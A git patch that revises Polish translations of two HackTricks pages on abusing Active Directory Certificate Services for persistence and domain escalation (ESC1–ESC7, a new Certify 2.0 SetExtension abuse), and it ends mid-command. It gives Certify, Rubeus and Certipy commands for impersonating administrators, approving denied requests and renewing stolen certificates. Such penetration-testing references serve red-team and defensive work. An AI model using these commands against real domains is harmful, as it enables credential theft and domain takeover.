From ac3c86c96c8c536722ca294a428c4fdd1291c6f3 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 13 Aug 2025 18:38:18 +0000 Subject: [PATCH] Translated ['src/windows-hardening/active-directory-methodology/ad-certi --- .../ad-certificates/account-persistence.md | 27 ++- .../ad-certificates/domain-escalation.md | 167 +++++++++++------- 2 files changed, 125 insertions(+), 69 deletions(-) diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md b/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md index d34fb16fc..dfa3808c5 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md @@ -2,17 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -**To jest małe podsumowanie rozdziałów dotyczących utrzymywania maszyn w niesamowitym badaniu z [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)** +**To mały podsumowanie rozdziałów dotyczących utrzymywania dostępu w maszynach z niesamowitych badań z [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)** ## **Zrozumienie kradzieży poświadczeń aktywnego użytkownika za pomocą certyfikatów – PERSIST1** -W scenariuszu, w którym certyfikat umożliwiający uwierzytelnianie w domenie może być żądany przez użytkownika, atakujący ma możliwość **zażądania** i **ukradzenia** tego certyfikatu, aby **utrzymać trwałość** w sieci. Domyślnie szablon `User` w Active Directory pozwala na takie żądania, chociaż czasami może być wyłączony. +W scenariuszu, w którym certyfikat umożliwiający uwierzytelnianie w domenie może być żądany przez użytkownika, atakujący ma możliwość **żądania** i **kradzieży** tego certyfikatu, aby **utrzymać dostęp** w sieci. Domyślnie szablon `User` w Active Directory pozwala na takie żądania, chociaż czasami może być wyłączony. Używając narzędzia o nazwie [**Certify**](https://github.com/GhostPack/Certify), można wyszukiwać ważne certyfikaty, które umożliwiają trwały dostęp: ```bash Certify.exe find /clientauth ``` -Podkreśla się, że moc certyfikatu polega na jego zdolności do **uwierzytelniania jako użytkownik**, do którego należy, niezależnie od jakichkolwiek zmian haseł, pod warunkiem, że certyfikat pozostaje **ważny**. +Podkreślono, że moc certyfikatu polega na jego zdolności do **uwierzytelniania jako użytkownik**, do którego należy, niezależnie od jakichkolwiek zmian haseł, pod warunkiem, że certyfikat pozostaje **ważny**. Certyfikaty można zamawiać za pomocą interfejsu graficznego przy użyciu `certmgr.msc` lub za pomocą wiersza poleceń z `certreq.exe`. Dzięki **Certify** proces zamawiania certyfikatu jest uproszczony w następujący sposób: ```bash @@ -22,15 +22,15 @@ Po pomyślnym żądaniu generowany jest certyfikat wraz z jego kluczem prywatnym ```bash openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx ``` -Plik `.pfx` może być następnie przesłany do systemu docelowego i użyty z narzędziem o nazwie [**Rubeus**](https://github.com/GhostPack/Rubeus) do żądania Ticket Granting Ticket (TGT) dla użytkownika, przedłużając dostęp atakującego tak długo, jak certyfikat jest **ważny** (zazwyczaj przez rok): +Plik `.pfx` może być następnie przesłany do systemu docelowego i użyty z narzędziem o nazwie [**Rubeus**](https://github.com/GhostPack/Rubeus) do żądania Ticket Granting Ticket (TGT) dla użytkownika, przedłużając dostęp atakującego na czas, gdy certyfikat jest **ważny** (zazwyczaj przez rok): ```bash Rubeus.exe asktgt /user:harmj0y /certificate:C:\Temp\cert.pfx /password:CertPass! ``` -Ważne ostrzeżenie dotyczy tego, jak ta technika, w połączeniu z inną metodą opisaną w sekcji **THEFT5**, pozwala atakującemu na trwałe uzyskanie **NTLM hash** konta bez interakcji z Local Security Authority Subsystem Service (LSASS) i z kontekstu niepodwyższonego, co zapewnia bardziej dyskretną metodę kradzieży poświadczeń na dłuższy czas. +Ważne ostrzeżenie dotyczy tego, jak ta technika, w połączeniu z inną metodą opisaną w sekcji **THEFT5**, pozwala atakującemu na trwałe uzyskanie **NTLM hash** konta bez interakcji z Local Security Authority Subsystem Service (LSASS) i z kontekstu o niskich uprawnieniach, co zapewnia bardziej dyskretną metodę kradzieży poświadczeń na dłuższy czas. -## **Zyskiwanie trwałości maszyny za pomocą certyfikatów - PERSIST2** +## **Uzyskiwanie trwałości maszyny za pomocą certyfikatów - PERSIST2** -Inna metoda polega na zarejestrowaniu konta maszyny skompromitowanego systemu na certyfikat, wykorzystując domyślny szablon `Machine`, który pozwala na takie działania. Jeśli atakujący uzyska podwyższone uprawnienia w systemie, może użyć konta **SYSTEM** do żądania certyfikatów, co zapewnia formę **trwałości**: +Inna metoda polega na zarejestrowaniu konta maszyny skompromitowanego systemu dla certyfikatu, wykorzystując domyślny szablon `Machine`, który pozwala na takie działania. Jeśli atakujący uzyska podwyższone uprawnienia w systemie, może użyć konta **SYSTEM** do żądania certyfikatów, co zapewnia formę **trwałości**: ```bash Certify.exe request /ca:dc.theshire.local/theshire-DC-CA /template:Machine /machine ``` @@ -40,6 +40,17 @@ Ten dostęp umożliwia atakującemu uwierzytelnienie się do **Kerberos** jako k Ostatnia omawiana metoda polega na wykorzystaniu **ważności** i **okresów odnawiania** szablonów certyfikatów. Poprzez **odnawianie** certyfikatu przed jego wygaśnięciem, atakujący może utrzymać uwierzytelnienie do Active Directory bez potrzeby dodatkowych rejestracji biletów, co mogłoby pozostawić ślady na serwerze Urzędu Certyfikacji (CA). -Podejście to pozwala na metodę **rozszerzonej trwałości**, minimalizując ryzyko wykrycia poprzez mniejszą liczbę interakcji z serwerem CA i unikanie generowania artefaktów, które mogłyby zaalarmować administratorów o intruzji. +### Odnawianie certyfikatu z Certify 2.0 + +Zaczynając od **Certify 2.0**, proces odnawiania jest w pełni zautomatyzowany dzięki nowemu poleceniu `request-renew`. Mając wcześniej wydany certyfikat (w formacie **base-64 PKCS#12**), atakujący może go odnowić bez interakcji z pierwotnym właścicielem – idealne do dyskretnej, długoterminowej trwałości: +```powershell +Certify.exe request-renew --ca SERVER\\CA-NAME \ +--cert-pfx MIACAQMwgAYJKoZIhvcNAQcBoIAkgA... # original PFX +``` +Polecenie zwróci nowy PFX, który jest ważny przez kolejny pełny okres życia, co pozwala na kontynuowanie uwierzytelniania nawet po wygaśnięciu lub unieważnieniu pierwszego certyfikatu. + +## References + +- [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md index 5eedc76d0..f80bfdc9c 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md @@ -21,7 +21,7 @@ - **Szablony certyfikatów są skonfigurowane w celu zdefiniowania EKU, które ułatwiają uwierzytelnianie:** - Identyfikatory Extended Key Usage (EKU) takie jak Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0) lub brak EKU (SubCA) są uwzględnione. - **Możliwość dla wnioskodawców do dołączenia subjectAltName w żądaniu podpisania certyfikatu (CSR) jest dozwolona przez szablon:** -- Active Directory (AD) priorytetowo traktuje subjectAltName (SAN) w certyfikacie do weryfikacji tożsamości, jeśli jest obecny. Oznacza to, że poprzez określenie SAN w CSR można zażądać certyfikatu do podszywania się pod dowolnego użytkownika (np. administratora domeny). To, czy SAN może być określony przez wnioskodawcę, jest wskazane w obiekcie AD szablonu certyfikatu przez właściwość `mspki-certificate-name-flag`. Ta właściwość jest maską bitową, a obecność flagi `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` pozwala wnioskodawcy na określenie SAN. +- Active Directory (AD) priorytetowo traktuje subjectAltName (SAN) w certyfikacie do weryfikacji tożsamości, jeśli jest obecny. Oznacza to, że poprzez określenie SAN w CSR, można zażądać certyfikatu do podszywania się pod dowolnego użytkownika (np. administratora domeny). To, czy SAN może być określony przez wnioskodawcę, jest wskazane w obiekcie AD szablonu certyfikatu przez właściwość `mspki-certificate-name-flag`. Ta właściwość jest maską bitową, a obecność flagi `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` pozwala wnioskodawcy na określenie SAN. > [!CAUTION] > Opisana konfiguracja pozwala użytkownikom o niskich uprawnieniach na żądanie certyfikatów z dowolnym wybranym SAN, co umożliwia uwierzytelnianie jako dowolny podmiot domeny przez Kerberos lub SChannel. @@ -47,7 +47,7 @@ Następnie możesz przekształcić wygenerowany **certyfikat do formatu `.pfx`** Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100 ``` -Binaries Windows "Certreq.exe" i "Certutil.exe" mogą być używane do generowania PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee +Binarne pliki Windows "Certreq.exe" i "Certutil.exe" mogą być używane do generowania PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee Enumeracja szablonów certyfikatów w schemacie konfiguracji lasu AD, szczególnie tych, które nie wymagają zatwierdzenia lub podpisów, posiadających EKU Client Authentication lub Smart Card Logon oraz z włączonym flagą `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`, może być przeprowadzona poprzez uruchomienie następującego zapytania LDAP: ``` @@ -63,13 +63,13 @@ Drugi scenariusz nadużycia jest wariantem pierwszego: 2. Wymóg zatwierdzenia przez menedżera jest wyłączony. 3. Wymóg autoryzowanych podpisów jest pomijany. 4. Zbyt liberalny opis zabezpieczeń na szablonie certyfikatu przyznaje prawa do rejestracji certyfikatów użytkownikom o niskich uprawnieniach. -5. **Szablon certyfikatu jest zdefiniowany tak, aby obejmował EKU Any Purpose lub nie miał EKU.** +5. **Szablon certyfikatu jest zdefiniowany tak, aby obejmował Any Purpose EKU lub nie miał EKU.** -**EKU Any Purpose** pozwala na uzyskanie certyfikatu przez atakującego w **dowolnym celu**, w tym uwierzytelnianie klienta, uwierzytelnianie serwera, podpisywanie kodu itp. Ta sama **technika używana w ESC3** może być wykorzystana do wykorzystania tego scenariusza. +**Any Purpose EKU** pozwala na uzyskanie certyfikatu przez atakującego w **dowolnym celu**, w tym uwierzytelnianie klienta, uwierzytelnianie serwera, podpisywanie kodu itp. Ta sama **technika używana w ESC3** może być wykorzystana do wykorzystania tego scenariusza. -Certyfikaty z **brakiem EKU**, które działają jako certyfikaty podrzędnej CA, mogą być wykorzystywane w **dowolnym celu** i mogą **również być używane do podpisywania nowych certyfikatów**. W związku z tym atakujący mógłby określić dowolne EKU lub pola w nowych certyfikatach, wykorzystując certyfikat podrzędnej CA. +Certyfikaty z **brakiem EKU**, które działają jako certyfikaty podrzędnej CA, mogą być wykorzystywane do **dowolnych celów** i mogą **również być używane do podpisywania nowych certyfikatów**. W związku z tym atakujący mógłby określić dowolne EKU lub pola w nowych certyfikatach, wykorzystując certyfikat podrzędnej CA. -Jednak nowe certyfikaty utworzone do **uwierzytelniania domeny** nie będą działać, jeśli podrzędna CA nie jest zaufana przez obiekt **`NTAuthCertificates`**, co jest ustawieniem domyślnym. Niemniej jednak atakujący może nadal tworzyć **nowe certyfikaty z dowolnym EKU** i dowolnymi wartościami certyfikatu. Mogłyby one być potencjalnie **nadużywane** do szerokiego zakresu celów (np. podpisywanie kodu, uwierzytelnianie serwera itp.) i mogłyby mieć znaczące implikacje dla innych aplikacji w sieci, takich jak SAML, AD FS lub IPSec. +Jednak nowe certyfikaty utworzone do **uwierzytelniania domeny** nie będą działać, jeśli podrzędna CA nie jest zaufana przez obiekt **`NTAuthCertificates`**, co jest ustawieniem domyślnym. Niemniej jednak atakujący może nadal tworzyć **nowe certyfikaty z dowolnym EKU** i dowolnymi wartościami certyfikatu. Mogą one być potencjalnie **nadużywane** do szerokiego zakresu celów (np. podpisywanie kodu, uwierzytelnianie serwera itp.) i mogą mieć znaczące implikacje dla innych aplikacji w sieci, takich jak SAML, AD FS lub IPSec. Aby enumerować szablony, które pasują do tego scenariusza w schemacie konfiguracji lasu AD, można uruchomić następujące zapytanie LDAP: ``` @@ -81,7 +81,7 @@ Aby enumerować szablony, które pasują do tego scenariusza w schemacie konfigu Ten scenariusz jest podobny do pierwszego i drugiego, ale **wykorzystuje** **inny EKU** (Agent Żądania Certyfikatu) oraz **2 różne szablony** (dlatego ma 2 zestawy wymagań), -**EKU Agenta Żądania Certyfikatu** (OID 1.3.6.1.4.1.311.20.2.1), znany jako **Agent Rejestracji** w dokumentacji Microsoft, pozwala podmiotowi **rejestrować** **certyfikat** w **imię innego użytkownika**. +**EKU Agenta Żądania Certyfikatu** (OID 1.3.6.1.4.1.311.20.2.1), znany jako **Agent Rejestracji** w dokumentacji Microsoft, pozwala podmiotowi **zarejestrować** **certyfikat** w **imię innego użytkownika**. **„agent rejestracji”** rejestruje się w takim **szablonie** i używa uzyskanego **certyfikatu do współpodpisania CSR w imieniu innego użytkownika**. Następnie **wysyła** **współpodpisany CSR** do CA, rejestrując się w **szablonie**, który **zezwala na „rejestrację w imieniu”**, a CA odpowiada **certyfikatem należącym do „innego” użytkownika**. @@ -117,7 +117,7 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca # Use Rubeus with the certificate to authenticate as the other user Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf ``` -Użytkownicy, którzy mają prawo do uzyskania certyfikatu agenta rejestracji, szablony, w których agentom rejestracji zezwala się na rejestrację, oraz konta, w imieniu których agent rejestracji może działać, mogą być ograniczone przez korporacyjne CA. Osiąga się to poprzez otwarcie `certsrc.msc` snap-in, kliknięcie prawym przyciskiem myszy na CA, kliknięcie Właściwości, a następnie przejście do zakładki „Agenci rejestracji”. +Użytkownicy, którzy mają prawo do uzyskania certyfikatu agenta rejestracji, szablony, w których agenci rejestracji mogą się rejestrować, oraz konta, w imieniu których agent rejestracji może działać, mogą być ograniczone przez korporacyjne CA. Osiąga się to poprzez otwarcie `certsrc.msc` snap-in, kliknięcie prawym przyciskiem myszy na CA, kliknięcie Właściwości, a następnie przejście do zakładki „Agenci rejestracji”. Należy jednak zauważyć, że domyślne ustawienie dla CA to „Nie ograniczaj agentów rejestracji”. Gdy ograniczenie dla agentów rejestracji jest włączone przez administratorów, ustawienie na „Ogranicz agentów rejestracji” pozostaje niezwykle liberalne. Umożliwia to dostęp dla Wszystkich do rejestracji we wszystkich szablonach jako ktokolwiek. @@ -125,7 +125,7 @@ Należy jednak zauważyć, że domyślne ustawienie dla CA to „Nie ograniczaj ### Wyjaśnienie -Deskryptor bezpieczeństwa na szablonach certyfikatów definiuje uprawnienia, które konkretni AD principals posiadają w odniesieniu do szablonu. +Opis zabezpieczeń na szablonach certyfikatów definiuje uprawnienia, które konkretni AD principals posiadają w odniesieniu do szablonu. Jeśli atakujący posiada wymagane uprawnienia do zmiany szablonu i wprowadzenia jakichkolwiek wykorzystywalnych błędów konfiguracyjnych opisanych w poprzednich sekcjach, może to ułatwić eskalację uprawnień. @@ -133,8 +133,8 @@ Znaczące uprawnienia stosowane do szablonów certyfikatów obejmują: - Właściciel: Przyznaje domyślną kontrolę nad obiektem, umożliwiając modyfikację dowolnych atrybutów. - Pełna kontrola: Umożliwia pełną władzę nad obiektem, w tym możliwość zmiany dowolnych atrybutów. -- Zapisz właściciela: Zezwala na zmianę właściciela obiektu na principal kontrolowany przez atakującego. -- Zapisz Dacl: Umożliwia dostosowanie kontroli dostępu, potencjalnie przyznając atakującemu pełną kontrolę. +- Zapisz właściciela: Umożliwia zmianę właściciela obiektu na principal kontrolowany przez atakującego. +- Zapisz DACL: Umożliwia dostosowanie kontroli dostępu, potencjalnie przyznając atakującemu pełną kontrolę. - Zapisz właściwość: Upoważnia do edytowania dowolnych właściwości obiektu. ### Nadużycie @@ -143,9 +143,9 @@ Przykład eskalacji uprawnień jak w poprzednim przypadku:
-ESC4 to sytuacja, gdy użytkownik ma uprawnienia do zapisu nad szablonem certyfikatu. Może to być na przykład nadużyte do nadpisania konfiguracji szablonu certyfikatu, aby uczynić szablon podatnym na ESC1. +ESC4 to sytuacja, gdy użytkownik ma uprawnienia do zapisu w szablonie certyfikatu. Może to być na przykład nadużyte do nadpisania konfiguracji szablonu certyfikatu, aby uczynić szablon podatnym na ESC1. -Jak widać w powyższej ścieżce, tylko `JOHNPC` ma te uprawnienia, ale nasz użytkownik `JOHN` ma nowy edge `AddKeyCredentialLink` do `JOHNPC`. Ponieważ ta technika jest związana z certyfikatami, wdrożyłem również ten atak, który jest znany jako [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Oto mały podgląd polecenia `shadow auto` Certipy, aby uzyskać hash NT ofiary. +Jak widać w powyższej ścieżce, tylko `JOHNPC` ma te uprawnienia, ale nasz użytkownik `JOHN` ma nowy `AddKeyCredentialLink` do `JOHNPC`. Ponieważ ta technika jest związana z certyfikatami, wdrożyłem również ten atak, znany jako [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Oto mały podgląd polecenia `shadow auto` Certipy, aby odzyskać NT hash ofiary. ```bash certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc' ``` @@ -166,23 +166,23 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes Rozbudowana sieć powiązań opartych na ACL, która obejmuje kilka obiektów poza szablonami certyfikatów i urzędami certyfikacji, może wpłynąć na bezpieczeństwo całego systemu AD CS. Obiekty te, które mogą znacząco wpłynąć na bezpieczeństwo, obejmują: -- Obiekt komputera AD serwera CA, który może być skompromitowany za pomocą mechanizmów takich jak S4U2Self lub S4U2Proxy. +- Obiekt komputera AD serwera CA, który może zostać skompromitowany za pomocą mechanizmów takich jak S4U2Self lub S4U2Proxy. - Serwer RPC/DCOM serwera CA. -- Każdy potomny obiekt AD lub kontener w określonej ścieżce kontenera `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`. Ta ścieżka obejmuje, ale nie ogranicza się do, kontenerów i obiektów takich jak kontener Szablonów Certyfikatów, kontener Urzędów Certyfikacji, obiekt NTAuthCertificates oraz Kontener Usług Rejestracji. +- Każdy obiekt AD lub kontener potomny w określonej ścieżce kontenera `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`. Ścieżka ta obejmuje, ale nie ogranicza się do, kontenerów i obiektów takich jak kontener Szablonów Certyfikatów, kontener Urzędów Certyfikacji, obiekt NTAuthCertificates oraz Kontener Usług Rejestracji. -Bezpieczeństwo systemu PKI może być zagrożone, jeśli atakujący o niskich uprawnieniach zdoła przejąć kontrolę nad którymkolwiek z tych krytycznych komponentów. +Bezpieczeństwo systemu PKI może zostać skompromitowane, jeśli atakujący o niskich uprawnieniach zdoła przejąć kontrolę nad którymkolwiek z tych krytycznych komponentów. ## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6 ### Explanation -Temat poruszony w [**poście CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) dotyczy również implikacji flagi **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, jak opisano przez Microsoft. Ta konfiguracja, gdy jest aktywowana na Urzędzie Certyfikacji (CA), pozwala na włączenie **wartości zdefiniowanych przez użytkownika** w **alternatywnym nazwie podmiotu** dla **dowolnego żądania**, w tym tych skonstruowanych z Active Directory®. W związku z tym, ten przepis pozwala **intruzowi** na rejestrację za pomocą **dowolnego szablonu** skonfigurowanego do **uwierzytelniania** domeny—szczególnie tych otwartych na rejestrację **użytkowników bez uprawnień**, jak standardowy szablon Użytkownika. W rezultacie można zabezpieczyć certyfikat, umożliwiając intruzowi uwierzytelnienie jako administrator domeny lub **jakikolwiek inny aktywny podmiot** w domenie. +Temat poruszony w [**poście CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) dotyczy również implikacji flagi **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, jak opisano przez Microsoft. Ta konfiguracja, gdy jest aktywowana na Urzędzie Certyfikacji (CA), pozwala na włączenie **wartości zdefiniowanych przez użytkownika** w **alternatywnym nazwie podmiotu** dla **dowolnego żądania**, w tym tych skonstruowanych z Active Directory®. W związku z tym, ten przepis pozwala **intruzowi** na rejestrację za pomocą **dowolnego szablonu** skonfigurowanego do **uwierzytelniania** w domenie—szczególnie tych otwartych na rejestrację **użytkowników bez uprawnień**, jak standardowy szablon Użytkownika. W rezultacie można zabezpieczyć certyfikat, umożliwiając intruzowi uwierzytelnienie jako administrator domeny lub **jakikolwiek inny aktywny podmiot** w domenie. **Uwaga**: Podejście do dodawania **alternatywnych nazw** do Żądania Podpisania Certyfikatu (CSR), za pomocą argumentu `-attrib "SAN:"` w `certreq.exe` (nazywanego „Pary Nazwa-Wartość”), przedstawia **kontrast** w porównaniu do strategii eksploatacji SAN w ESC1. Tutaj różnica polega na **tym, jak informacje o koncie są enkapsulowane**—w atrybucie certyfikatu, a nie w rozszerzeniu. ### Abuse -Aby sprawdzić, czy ustawienie jest aktywowane, organizacje mogą wykorzystać następujące polecenie z `certutil.exe`: +Aby zweryfikować, czy ustawienie jest aktywowane, organizacje mogą wykorzystać następujące polecenie z `certutil.exe`: ```bash certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags" ``` @@ -199,7 +199,7 @@ Certify.exe find Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local ``` -Aby zmienić te ustawienia, zakładając, że posiada się **prawa administracyjne domeny** lub równoważne, można wykonać następujące polecenie z dowolnej stacji roboczej: +Aby zmienić te ustawienia, zakładając, że posiada się **prawa administratora domeny** lub równoważne, można wykonać następujące polecenie z dowolnej stacji roboczej: ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2 ``` @@ -209,7 +209,7 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJ ``` > [!WARNING] > Po aktualizacjach zabezpieczeń z maja 2022 roku, nowo wydane **certyfikaty** będą zawierać **rozszerzenie zabezpieczeń**, które włącza właściwość **`objectSid`** wnioskodawcy. Dla ESC1, ten SID pochodzi z określonego SAN. Jednak dla **ESC6**, SID odzwierciedla **`objectSid`** wnioskodawcy, a nie SAN.\ -> Aby wykorzystać ESC6, system musi być podatny na ESC10 (Słabe mapowania certyfikatów), które priorytetowo traktuje **SAN nad nowym rozszerzeniem zabezpieczeń**. +> Aby wykorzystać ESC6, system musi być podatny na ESC10 (Słabe mapowania certyfikatów), które nadaje priorytet **SAN nad nowym rozszerzeniem zabezpieczeń**. ## Kontrola dostępu do podatnej jednostki certyfikującej - ESC7 @@ -217,7 +217,7 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJ #### Wyjaśnienie -Kontrola dostępu dla jednostki certyfikującej jest utrzymywana przez zestaw uprawnień, które regulują działania CA. Te uprawnienia można zobaczyć, uzyskując dostęp do `certsrv.msc`, klikając prawym przyciskiem myszy na CA, wybierając właściwości, a następnie przechodząc do zakładki Zabezpieczenia. Dodatkowo, uprawnienia można enumerować za pomocą modułu PSPKI z poleceniami takimi jak: +Kontrola dostępu dla jednostki certyfikującej jest utrzymywana przez zestaw uprawnień, które regulują działania CA. Te uprawnienia można zobaczyć, uzyskując dostęp do `certsrv.msc`, klikając prawym przyciskiem myszy na CA, wybierając właściwości, a następnie przechodząc do zakładki Zabezpieczenia. Dodatkowo, uprawnienia można enumerować za pomocą modułu PSPKI przy użyciu poleceń takich jak: ```bash Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access ``` @@ -225,7 +225,7 @@ To zapewnia wgląd w główne uprawnienia, mianowicie **`ManageCA`** i **`Manage #### Nadużycie -Posiadanie praw **`ManageCA`** w urzędzie certyfikacji umożliwia głównemu użytkownikowi zdalne manipulowanie ustawieniami za pomocą PSPKI. Obejmuje to przełączanie flagi **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, aby zezwolić na określenie SAN w dowolnym szablonie, co jest kluczowym aspektem eskalacji domeny. +Posiadanie praw **`ManageCA`** na urzędzie certyfikacji umożliwia głównemu użytkownikowi zdalne manipulowanie ustawieniami za pomocą PSPKI. Obejmuje to przełączanie flagi **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, aby zezwolić na określenie SAN w dowolnym szablonie, co jest kluczowym aspektem eskalacji domeny. Uproszczenie tego procesu jest możliwe dzięki użyciu cmdletu **Enable-PolicyModuleFlag** w PSPKI, co pozwala na modyfikacje bez bezpośredniej interakcji z GUI. @@ -262,11 +262,11 @@ Wymagania wstępne: - Uprawnienie **`Manage Certificates`** (może być przyznane z **`ManageCA`**) - Szablon certyfikatu **`SubCA`** musi być **włączony** (może być włączony z **`ManageCA`**) -Technika opiera się na fakcie, że użytkownicy z prawem dostępu `Manage CA` _i_ `Manage Certificates` mogą **wydawać nieudane żądania certyfikatów**. Szablon certyfikatu **`SubCA`** jest **wrażliwy na ESC1**, ale **tylko administratorzy** mogą zarejestrować się w szablonie. W związku z tym **użytkownik** może **zażądać** rejestracji w **`SubCA`** - co zostanie **odrzucone** - ale **następnie wydane przez menedżera**. +Technika opiera się na fakcie, że użytkownicy z prawem dostępu **`Manage CA`** _i_ **`Manage Certificates`** mogą **wydawać nieudane żądania certyfikatów**. Szablon certyfikatu **`SubCA`** jest **wrażliwy na ESC1**, ale **tylko administratorzy** mogą zarejestrować się w szablonie. W związku z tym, **użytkownik** może **zażądać** rejestracji w **`SubCA`** - co zostanie **odrzucone** - ale **następnie wydane przez menedżera**. #### Nadużycie -Możesz **przyznać sobie prawo dostępu `Manage Certificates`** dodając swojego użytkownika jako nowego oficera. +Możesz **przyznać sobie prawo dostępu `Manage Certificates`**, dodając swojego użytkownika jako nowego oficera. ```bash certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -299,7 +299,7 @@ Would you like to save the private key? (y/N) y [*] Saved private key to 785.key [-] Failed to request certificate ``` -Z naszymi **`Manage CA` i `Manage Certificates`** możemy następnie **wydać nieudane żądanie certyfikatu** za pomocą polecenia `ca` i parametru `-issue-request `. +Za pomocą naszych **`Manage CA` i `Manage Certificates`**, możemy następnie **wydać nieudane żądanie certyfikatu** za pomocą polecenia `ca` i parametru `-issue-request `. ```bash certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -318,21 +318,61 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Loaded private key from '785.key' [*] Saved certificate and private key to 'administrator.pfx' ``` +### Atak 3 – Nadużycie rozszerzenia zarządzania certyfikatami (SetExtension) + +#### Wyjaśnienie + +Oprócz klasycznych nadużyć ESC7 (włączanie atrybutów EDITF lub zatwierdzanie oczekujących wniosków), **Certify 2.0** ujawnił zupełnie nowy prymityw, który wymaga jedynie roli *Zarządzanie certyfikatami* (znanej również jako **Menadżer / Oficer Certyfikatów**) na Enterprise CA. + +Metoda RPC `ICertAdmin::SetExtension` może być wykonywana przez każdego użytkownika posiadającego *Zarządzanie certyfikatami*. Chociaż metoda ta była tradycyjnie używana przez legalne CA do aktualizacji rozszerzeń w **oczekujących** wnioskach, atakujący może ją nadużyć, aby **dodać *niedomyslne* rozszerzenie certyfikatu** (na przykład niestandardowy OID *Polityki wydawania certyfikatów* taki jak `1.1.1.1`) do wniosku, który czeka na zatwierdzenie. + +Ponieważ docelowy szablon **nie definiuje wartości domyślnej dla tego rozszerzenia**, CA NIE nadpisze wartości kontrolowanej przez atakującego, gdy wniosek zostanie ostatecznie wydany. W rezultacie certyfikat zawiera rozszerzenie wybrane przez atakującego, które może: + +* Spełniać wymagania polityki aplikacji / wydawania certyfikatów innych podatnych szablonów (prowadząc do eskalacji uprawnień). +* Wstrzykiwać dodatkowe EKU lub polityki, które nadają certyfikatowi niespodziewane zaufanie w systemach zewnętrznych. + +Krótko mówiąc, *Zarządzanie certyfikatami* – wcześniej uważane za „mniej potężną” część ESC7 – może teraz być wykorzystywane do pełnej eskalacji uprawnień lub długoterminowej persystencji, bez dotykania konfiguracji CA lub wymagania bardziej restrykcyjnego prawa *Zarządzanie CA*. + +#### Nadużycie prymitywu z Certify 2.0 + +1. **Złóż wniosek o certyfikat, który pozostanie *oczekujący*.** Można to wymusić za pomocą szablonu, który wymaga zatwierdzenia menedżera: +```powershell +Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval +# Zwróć uwagę na zwrócone ID wniosku +``` + +2. **Dodaj niestandardowe rozszerzenie do oczekującego wniosku** używając nowego polecenia `manage-ca`: +```powershell +Certify.exe manage-ca --ca SERVER\\CA-NAME \ +--request-id 1337 \ +--set-extension "1.1.1.1=DER,10,01 01 00 00" # fałszywy OID polityki wydawania +``` +*Jeśli szablon nie definiuje już rozszerzenia *Polityki wydawania certyfikatów*, powyższa wartość zostanie zachowana po wydaniu.* + +3. **Wydaj wniosek** (jeśli twoja rola ma również prawa zatwierdzania *Zarządzania certyfikatami*) lub poczekaj na zatwierdzenie przez operatora. Po wydaniu, pobierz certyfikat: +```powershell +Certify.exe request-download --ca 